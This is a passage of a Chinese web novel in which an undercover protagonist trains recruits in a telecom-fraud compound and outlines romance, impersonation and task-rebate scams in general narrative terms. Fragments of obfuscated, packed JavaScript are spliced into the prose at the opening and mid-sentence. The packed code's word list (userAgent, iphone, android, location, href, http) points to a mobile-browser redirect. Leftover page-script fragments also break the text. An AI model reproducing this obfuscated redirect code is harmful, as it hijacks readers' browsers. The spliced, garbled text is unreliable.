l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15146554|158311||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一伙的,是受害者,需要逃离坎丁。这下子即使她并不信任我,也不得不同意与我单独见一面。】 系统:【啊,所以她通过甩笔的节奏回应你吗?】 凌逍:【嗯。】 系统:【……6。】 思其路签完了,其他人仍有犹豫,迟迟不敢签字。 凌逍再次拉了拉一旁女孩儿的手,塞给她一支笔。 女孩儿的额头自从撞击地面后一直隐隐作痛。她茫然而绝望,感觉手中的笔就像是千斤重的大山,压住了自己剩余的所有人生。 在坎丁活着,也许还不如去死。 但当她垂头时,看到了覆盖在自己手背上的那只手。上面皮肉大面积被沙砾划开,这会儿仍在渗着血,瞧着煞是可怖。 可这只手仍旧轻轻握着自己,平稳有力,在这片冰冷的土地中传来跳动的灼热温度,就像是希望。 于是女孩儿的手忽然就不再颤抖了。 她咬咬牙,签下了自己的名字:霍然。 思其路和霍然开了个好头,两个个人签了字,大家就也开始陆陆续续地签字——有一个想讨价还价的法学生,小声叨叨了两句合同问题,被当场电击了一下,所有人就也不吭声了。 一切都很顺利。 合同被收走,至于去了哪里……花衬衫并没有将合同交给精神小伙,反而自己收到一个包里,连同每个人的手机、护照、身份证和其他随身物品。看样子他有一个单独的地方放置这些重要东西,也许是他的房间,也许又是这个诺大园区的某一处密室。不过孙行路还处于失忆状态,凌逍也不知道这位置到底在哪。 花衬衫满意地点头:“好了,来带大家参观一下公司。” 众人又随着花衬衫开始参观。不过说是参观公司,其实并没有将他们带出这栋楼参观整个园区,只是大概地走一遍这栋楼而已。 “一楼除了接待室,就是厨房和食堂。咱们公司啊,用餐都是免费的,每天自助,四菜一汤。” 阿姨们无视菜根上的泥,无情地将烂叶子直接扔进锅。 “二楼东边是水房,西边是卡头组……啊,这边是正将组。小阿路,你以后就在这里工作。” 正将组在二楼北边的几张桌子上,大约二三十号人挤在一起,电脑比别人相对好一些,显示器挺新挺大。组长代号是阿亮,是个三十多岁胡子拉碴的当地人,据说以前是个程序员,被骗到这里后定居了,还和坎丁园区里的人生了孩子。 阿亮黑眼圈很重,噼里啪啦地敲代码。他对花衬衫唯唯诺诺地问好,听到思其路的背景,眼前一亮,问了两个问题后,当场敲定她负责新网站的搭建。 阿亮很满意:“X大的果然不一样!小阿路是吧,看看组里这群废物!” 二三十号人低头干活。 “去年组里那个被扔出去当猪仔的……就是让他干什么都不行,真是活该……估计现在早没了吧,没人被卖了当猪仔还可以活过一个月……”阿亮以极低的声音,自言自语道。 “叫什么来着。噢,叫,‘阿思’的。” 思其路敲键盘的手一顿,手背青筋狠狠跳动着。 她的眼眶,忽然红了一点点,又极力克制住。 最后,她只是微微呼出一口气,平静地回答:“谢谢亮哥夸奖。” 没人注意,除了凌逍。 凌逍悄悄地叹了口气。 她想,她知道水帘镇警方的上一名卧底警察,在哪里了。 摧毁坎丁,刻不容缓。 【任务一已进行时间:3小时。】 33.在电诈园区(七) 十年前,水帘镇突发一场巨大的山火,烧毁了大半个城镇,也烧毁了警方打击坎丁的最前线。没人知道那一年到底发生了什么,但是人们只知道,从此坎丁的土地上再也没出现过警笛的呼啸。 这一场持续多年的博弈,以水帘镇人民与警方的惨烈伤亡宣告结局。于是这几年坎丁放松了警惕,譬如老鱼这种扮演“货头”的当地人,看看证件就基本可以凭经验快速“收货”,而花衬衫作为坎丁的二把手,基本不会再深入查验——除非这个人在后续工作中露出破绽。 谁也没有想到,水帘镇警方其实一直并没有放弃,只是……还没有成功而已。 他们付出的代价,是前赴后继的性命。 思其路的学生证可以造假,实力却不会造假。如此年轻就甘愿以性命为代价卧底进入坎丁,除了强烈的使命感,也许还有一些更深层次的原因。那个“阿思”,应该就是去年失败的卧底警察,被卖去当猪仔后再无音讯。思其路大概与他关系很不一般,以至于听到名字这短暂的一瞬,她不禁产生了剧烈的动摇。 但是她依旧忍耐住了。 凌逍上前拍了拍思其路的肩膀,什么也没说。轻柔而有规律的拍打,传递着一个简单的讯号。 【下午等我。】 花衬衫勉励了几句,他不太懂计算机,但常年在坎丁掌控大局的(物理)威望还在。阿亮唯唯诺诺地附和,又听到业绩能加很多,不禁喜出望外,迫不及待地指使着思其路开始干活。 思其路抬起眼,神色复杂地打量着凌逍。 片刻,她几不可查地点点头。 所有人离开后,在就垂眸的一瞬间,思其路嘴唇极轻地颤抖了一下。 她缓缓地,触碰脸上被灼烧的大面积疤痕。 “已经过去十年了啊……” 思其路喃喃低语道。 “【大圣】,我的英雄。” “请保佑我,成功摧毁坎丁这片罪恶的土地。” “然后,带他的尸体回家……” …… 一行人参观完公司已经是一个小时以后了。思其路所在的正将组在二楼,三楼则大部分是狗推组的地盘,几十号人挤在几条狭窄的工位上密不透风,好像沙丁鱼罐头。带新人参观的时候,花衬衫见十二妹尝了“雷公”的滋味竟然还顽强活着,面色煞白地正在干活,不由点点头。 “对于某些总想着跑的人,我们有的是办法对付!”花衬衫指着十二妹明显的伤痕,大笑起来。 笑声传得很远,有狗推组的人也跟着起哄,新人们则是惊恐地默默低下头。 十二妹死死盯着浩浩荡荡的新人们,盯着他们到来又离去。在整个参观过程中,她一直在咬着嘴唇,唇珠渗出了血也丝毫不觉。 阿杰胆怯地拽了拽她,示意不要轻举妄动。见花衬衫轻飘飘瞥来,他赶紧松开手,鹌鹑般垂下头。 参观正式结束,花衬衫带着精神小伙1号离开,留下精神小伙2号看管狗推组培训流程,要求这些人必须当天培训、当天上岗。本来新人们应当是平均分配到各个狗推组的,不过凌逍抢先了话头,还语出惊人承诺了1000万的业绩,因此此刻包括霍然在内的一共十个人,接下来都会在凌逍手下工作。原本五个人的组,一下子发展壮大成坎丁第一狗推组了。 有精神小伙在旁边虎视眈眈,凌逍并不轻举妄动。她按照方才从电脑里迅速吸收的资料,飞速头脑风暴,表面却是有条不紊的讲解着。 系统:【原来你真懂坎丁这套诈骗啊?】 凌逍沉默片刻。 【我正在懂。】 “所谓的狗推,你们可以把它看成一种PUA,一种其实并不难的诈骗手法。通过一些其实并不难被看穿的手段,让网络另一头的人认识你、信任你,最后毫不设防地掉入陷阱,倾家荡产地将积蓄拱手奉上。如果是按照法律来说,我们这种集团犯罪涉及到的金额已经无法想象。一旦被抓获,所有人都跑不了,除非是被胁迫的,或是积极戴罪立功……” 新人们显然懵了一下。精神小伙2号不满地甩了甩电击棍:“什么犯罪不犯罪的,瞎培训什么东西呢?!说重点!” “得嘞,哥!” 凌逍清了清嗓子,激情澎湃。 “来来来,讲重点了!狗推扮演的角色,最重要的就是被对方信任的【身份】。你们每个人会被分发几十个甚至上百个社交平台公用账号,每个账号都有不同的人设【钓鱼】,对应不同的被诈骗对象,在外界俗称“杀猪盘”。话术模板都是现成的,电脑里面我已经整理好了公用文档。” “这样吧,为了更深层次理解坎丁的业务,我打算这次增加一些互动性培训,换位思考。你们扮演另一头受害……噢不,客户,我给你们示范下。” 凌逍打开电脑上数十个聊天窗口一一展示。 “假如你是儿女不在身旁的年迈老人……那么坎丁一般都会通过身份强调中立权威性,利用老人们的弱警惕心。比如,我会伪装成银行工作人员、平台客服人员,谎称你的电子账户出现什么问题,通过语音电话不断催促、引导你们点击链接、转账汇款。当然,这些链接会直接连通到正将组的电脑上,通过木马或者伪造域名直接获取账户密码。” “假如你是喜欢x色网站的年轻人……那么我大概会用漂亮的网图做头像,通过甜言蜜语一步步引导你对我产生信任和感情,再以各种理由引导你在正将组开发的平台上购物、汇款;也可能利用这种人急迫心理,通过弹窗锁定页面,假装网站出了问题,不断弹出链接诱导他解锁……” “我们还有一种套路是对付想要做兼职的大学生、宝妈之类的……刷单这种套路其实很常见,但换个角度思考,你其实也很容易掉入陷阱。起初是一点小利,步步推移,后来所谓赚的钱、押金被都扣在我们设置的伪造账户中无法提取,这时候我就会一点点引导你充值提款。沉没成本越高,你就会越无法控制,想着‘只要再充一点就会把赚的钱还给我了吧’……殊不知这一切心理都被我控制,只等着最后一瞬间提取你的全部存款、网贷。” “还有另一种常见话术……” 凌逍讲得认真,新人们围成一圈,认真看着凌逍展示那些账户,展示那些重重套路背后的简单逻辑。他们有时会倒抽一口凉气,有时又会逐渐陷入沉思。偶尔抬头,看到破旧窗户外被带电网挡住的天时,他们不禁有一种清醒的愤恨—— 难道就是在这样简陋的地方,隔着网络,就可以随随便便让无数人倾家荡产吗?难道以后他们,就不得不违背内心意志,被迫成为犯罪的一份子吗? 除了所谓的【老板】,在坎丁又有谁,才是真正的赢家呢? 说一场培训,但在新人们的耳朵里,这其实更像是一次透彻的实践反诈宣传活动,尤其带入受害者的视角就更觉得惊心动魄。他们听得认真,也因此更加为日后失去自由、同时还被迫犯罪诈骗的命运感到担忧。当然,在精神小伙2号的耳朵里,这次培训就很正常,甚至可以说非常详细,除了幺蛾子的角色互换。 精神小伙2号确认凌逍这边培训没问题后,就摆摆手,先走了。 这其中,霍然听得最认真,紧紧挨在凌逍旁边。精神小伙走后,她举起手,疑惑问道:“真的会有人相信这么简单的骗术吗?” 凌逍笑了起来,然后浅浅叹了口气。 “别忘了,你们是怎么被骗到这里的。” 轻信,是一见再简单不过的事情了。信誓旦旦说着不会被骗,但骗局,也许就正在身边。 “那怎么才能避免?我说什么……对方才会发现呢?”霍然咬咬牙,又低声问道。 她的意思很明显,大概想要在干活的时候反过来提醒对方这是诈骗。凌逍望着对方黑白分明的眼睛,一眼就看到了那浅显的目的,笑着摸了摸她的头。 “不用担心。” “我会让你们干干净净地,很快拿到自己想要的。” 她的任务,是7天之内找到那个自称【圣】的神秘【老板】,然后,一举摧毁坎丁。但这还不够。她还同时需要确保这些无辜的新人们,带着一双干净的手、干净的心离开坎丁。 黑暗不该浸染。 凌逍叮嘱道:“下去干活吧,省的被巡逻发现偷懒。今天就只先看看话术模板,不要求你们直接上手对话。业绩这边我担着,绝对不会叫你们受罚。” 众人面面相觑,只得先坐下熟悉流程。只不过经历了方才一番培训,心里又是另一番滋味了。 霍然并没有立刻坐下,而是悄悄留在凌逍的身边。犹豫片刻,她明显下定了某种决心。 霍然低声道:“孙组长。” 凌逍笑了起来:“叫我孙行路就好。” “那就叫姐姐可以吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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霍然小声替凌逍辩解起来——不过她才来一两个小时,甚至只知道“姐姐”的名字是孙行路,因此说也说不过,急得直跺脚。小小的争执之中,十二妹情绪激动,甚至走到凌逍面前指着鼻子咒骂。 一转身,便不小心碰掉了桌面上的东西。 凌逍正忙着在电脑上暗中部署虚拟内网,她打算一步步渗透坎丁网络体系,看看是否能尽快找到【老板】的身份线索和犯罪证据。但具体怎么操作,后续还得和思其路那头通个气。刚起了个头,就被打断了。 “没关系,你们两个快回座位,别被监控看到。” 凌逍耐心弯腰拾起地面上的东西。 然后,脑中猛然一痛! 就在触碰的一瞬间,心底蓦然掀起一阵翻江倒海的巨浪。一瞬的冲击如此之大,却只能在空白脑海中恍恍惚惚浮现些许模糊的剪影,和一道温柔的声音。 凌逍怔怔地看在摔在地上的孙悟空玩具摆件,破旧却干净异常。那小小的金箍棒花纹,一笔一笔栩栩如生。 是被亲手描绘上的。 “我的阿路……” 那道声音逐渐在脑海中消散。伴随着逐渐远去的笔直背影,模糊了视线。 “这个玩具送给你,希望你能像大圣一样,永远保持正义本心。” 【凌逍?你怎么愣住了?】 “妈妈要去一个很遥远的地方执行任务,你要听爸爸的话,等我回家。” “什么地方啊,妈妈?” “是一个很黑暗的地方呢。反正是你永远不会去的那种地方。” “希望这次结束以后,能有阳光照进来,让土地上所有的人都能像我们阿路一样快乐生活……让它恢复到原本名字该有的含义。” “什么含义?” “哈哈,那个地方其实有一个很好听的名字。 “意思是——美好与希望。” …… 【凌逍?】 凌逍紧紧捏着那个小小的玩具,陷入深思。 【嘘。别说话。】 许久之后,她忽然抬眼,一把握住十二妹的手。 十二妹瞬间炸毛:“干嘛啊?” “虽然很冒昧,但我必须要问一件事情。”凌逍神情严肃,沉吟片刻后问道。 “……什么啊?”十二妹不自在地反问。 “你脸上的伤疤,是什么时候,在哪里被烧伤的?” …… “十年前,在水帘。” 十二妹一怔。 她闭了闭眼,许久之后,低声答道。 “因为,我曾就是那个镇子上的孩子。”